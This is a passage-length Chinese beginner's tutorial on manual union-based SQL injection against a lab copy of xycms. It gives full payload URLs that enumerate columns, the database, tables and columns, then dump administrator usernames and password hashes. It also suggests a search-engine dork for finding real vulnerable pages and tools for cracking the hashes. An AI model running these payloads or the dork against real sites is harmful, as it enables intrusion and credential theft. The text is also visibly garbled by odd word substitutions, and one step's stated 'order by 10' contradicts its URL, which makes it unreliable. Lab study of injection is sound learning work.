初入安全,小白一个,本文重在学习与履历分享!
背景
对存在SQL注入漏洞的Web站点进行SQL注入,爆出用户账号信息。
1. 实验环境
本次实验是对MySQL数据库进行手工注入,静态页面不存在SQL注入漏洞,只有动态页面才能进行SQL注入。
靶机 Web URL:http://192.168.0.109/xycms1.2/showproducts.php?id=13
注:查找Web站点的动态页面,即须要到数据库中取数据并将数据返回到web页面的展示的URL进行SQL注入,可以利用搜索引擎搜索"inurl:php?id="获取动态页面。
2. SQL注入漏洞事理
在动态页面的URL后面输入一些与查询干系的SQL语句(如:条件判断、排序、union联合查询语句),web页面正常显示或者报错显示,解释web页面将你输入的SQL语句没有做任何的处理,直接带入到数据库中进行了select查询并将结果返回给web页面展示,只不过是由于你写的SQL语句精确或者存在缺点,导致页面正常显示或者报错显示。
如果涌现这种将SQL语句带入到数据库中进行正常查询的情形,基本上就存在SQL注入的漏洞了。
SQL注入漏洞判断是否存在:
(1)在URL后边输入条件查询语句 "and 1=1",页面会正常显示。
Web URL语句:http://192.168.0.109/xycms1.2/showproducts.php?id=13 and 1=1
对应的SQL语句:select from xy_pro where id=13 and 1=1;
# 在SQL语句中"1=1"条件永久为"true",再加上前边正常查询的条件id=13,进行逻辑与(and)运算,此where条件判断的结果永久为"true",以是SQL查询能够正常获取数据并返回给web页面展示,以是web页面显斧正常。
web页面显示结果
SQL查询结果
(2)在URL后边输入条件查询语句 "and 1=2",页面会报错显示。
Web URL语句:http://192.168.0.109/xycms1.2/showproducts.php?id=13 and 1=2
# 此页面利用的表名为xy_pro
对应的SQL语句:select from xy_pro where id=13 and 1=2;
# 在SQL语句中"1=2"条件永久为"false",再加上前边正常查询的条件id=13,进行逻辑与(and)运算,此where条件判断的结果永久为"false"。以是,SQL查询的结果为"Null"空值(没有查询到任何数据,但是也正常查询了,只不过获取的数据为空),SQL语句将获取数据(空值)返回给web页面展示,以是web页面显示非常(没有数据)。
web页面显示结果
SQL查询结果
根据以上两种Web页面的显示结果,可以基本判断此Web页面存在SQL注入的漏洞。由于此Web页面对输入的SQL语句没有做任何的处理就直接将SQL语句带入到数据库中进行了数据查询,并将查询结果返回给Web页面进行显示。
3. SQL手工注入过程
在确认web页面存在SQL注入漏洞往后,就可以进行后续的SQL注入了。
3.1 order by排序查询,以报错和不报错两种结果来判断此表中存在几列数据
order by排序查询语句,后边加数字,表示对第几列进行升序(默认)排序查询,此示例是对11列进行升序排序查询,后边的数字可以随便写,多试几次知道页面显斧正常。
把稳,在一张表中进行SQL排序查询时,如果此列存在,则会将查询结果进行排序后查询出来,如果此列不存在,则会SQL查询报错。
(1)在URL的后边输入"order by 11",如果报错显示,则判断此表的列数小于11
Web URL语句:http://192.168.0.109/xycms1.2/showproducts.php?id=13 order by 11
对应的SQL语句:select from xy_pro where id=13 order by 11;
web页面显示结果
SQL查询结果
(2)在URL的后边输入"order by 10",如果页面显斧正常,则判断此表的列数为10列
Web URL语句:http://192.168.0.109/xycms1.2/showproducts.php?id=13 order by 11
对应的SQL语句:select from xy_pro where id=13 order by 11;
web页面显示结果
SQL查询结果
3.2 union联合查询,使其报错显示来爆出在web页面中回显展示的列
在SQL查询后,获取的数据基本上不会将所有数据都回显到web页面进行展示,可能只取查询结果集中的部分内容在web页面进行回显展示。以是,此处就可以通过union联合查询,将回显到web页面的列给爆出来,即都有哪些列的数据在web页面进行回显展示。
在3.1章节已经确认此表统共有10列内容,以是在union联合查询时输入1-10数字进行联合查询。1-10的数字只是为了方便影象都有哪几列而定的,每一列可以是任意的数字,但是不便于影象。
把稳:在union联合查询判断回显web页面的列的数量时,一定要加上"and 1=2"或者其他内容,使SQL1语句报错。否则,是无法爆出都有哪几列会回显web页面进行展示的。
SQL union查询结果
在url后边输入"union select 1,2,3,4,5,6,7,8,9,10",判断都有哪几列报错,也便是哪几列的数据在web页面展示
Web URL语句:http://192.168.0.109/xycms1.2/showproducts.php?id=13 and 1=2 union select 1,2,3,4,5,6,7,8,9,10
对应的SQL语句:select from xy_pro where id=13 and 1=2 union select 1,2,3,4,5,6,7,8,9,10;
web页面显示结果
SQL查询结果
以上报错结果显示:在第2列、第6列、第7列、第8列,第10列有报错,解释web只取了SQL查询结果集中的这几列在web页面展示。
3.3 union联合查询,利用MySQL函数爆出web站点当前在用的数据库名、表名、列名
在判断出都有哪些列报错后,就可以在某一列上通过利用SQL措辞中的函数来爆出当前web站点在用的数据库名、表名、列名以及字段内容等信息了。
在3.2章节中,已经爆出在哪些列有报错,选择个中第2列或者其他报错的列利用database()函数爆出数据库名。
(1)在第2列利用database()函数来爆出web站点在用的数据库名
Web URL语句:http://192.168.0.109/xycms1.2/showproducts.php?id=13 and 1=2 union select 1,database(),3,4,5,6,7,8,9,10
对应的SQL语句:select from xy_pro where id=13 and 1=2 union select 1,database(),3,4,5,6,7,8,9,10;
web页面显示结果
SQL查询结果
成功爆出此站点的数据库名为"xycms"。
(2)union联合查询,利用group_concat()函数爆出web站点当前在用的数据库中所有的表名
# 在MySQL数据库中,information_schema库中tables系统表存储了某个自定义的数据库中的所有的表名
Web URL语句:http://192.168.0.109/xycms1.2/showproducts.php?id=13 and 1=2 union select 1,group_concat(table_name),3,4,5,6,7,8,9,10 from information_schema.tables where table_schema='xycms'
对应的SQL语句:select from xy_pro where id=13 and 1=2 union select 1,group_concat(table_name),3,4,5,6,7,8,9,10 from information_schema.tables where table_schema='xycms';
web页面显示结果
SQL查询结果
在"xycms"数据库中爆出所有的表名,找到个中比较像存储用户账号信息的表名"manage_user"。
(3)union联合查询,利用group_concat()函数爆出web站点当前在用的数据库中某张表的列名
# xycms库中比较像存储用户账号信息的表为"manage_user",以是爆出此表的列名
# 在MySQL数据库中,information_schema系统库中columns系统表存储了某个自定义数据库中的某张表的列名
Web URL语句:http://192.168.0.109/xycms1.2/showproducts.php?id=13 and 1=2 union select 1,group_concat(column_name),3,4,5,6,7,8,9,10 from information_schema.columns where table_name='manage_user'
对应的SQL语句:select from xy_pro where id=13 and 1=2 union select 1,group_concat(column_name),3,4,5,6,7,8,9,10 from information_schema.columns where table_name='manage_user';
web页面显示结果
SQL查询结果
成功爆出manage_user表的列名为:id,m_name,m_pwd,c_date
3.4 union联合查询,利用MySQL函数爆出web站点当前在用的某张表的列内容
# 为了方便区分开用户名和密码,建议利用ASCII码0x5c(代表"\")进行内容分隔
# 也可以利用其他ASCII码进行内容分隔,如:回车。
Web URL语句:http://192.168.0.109/xycms1.2/showproducts.php?id=13 and 1=2 union select 1,group_concat(id,0x5c,m_name,0x5c,m_pwd,c_date),3,4,5,6,7,8,9,10 from manage_user
对应的SQL语句:select from xy_pro where id=13 and 1=2 union select 1,group_concat(id,0x5c,m_name,0x5c,m_pwd,c_date),3,4,5,6,7,8,9,10 from manage_user;
web页面显示结果
SQL查询结果
成功爆出此站点后台管理员的账号信息。个顶用户口令是加密的,可以用密码爆破工具解密此密文。如:在线爆破工具:www.cmd5.com、离线爆破工具:john the ripper
3. 安全建议
(1)在动态页面中增加字符更换、分外字符检讨等干系函数,对页面输入的内容进行安全检讨。
(2)支配web运用防火墙(WAF)。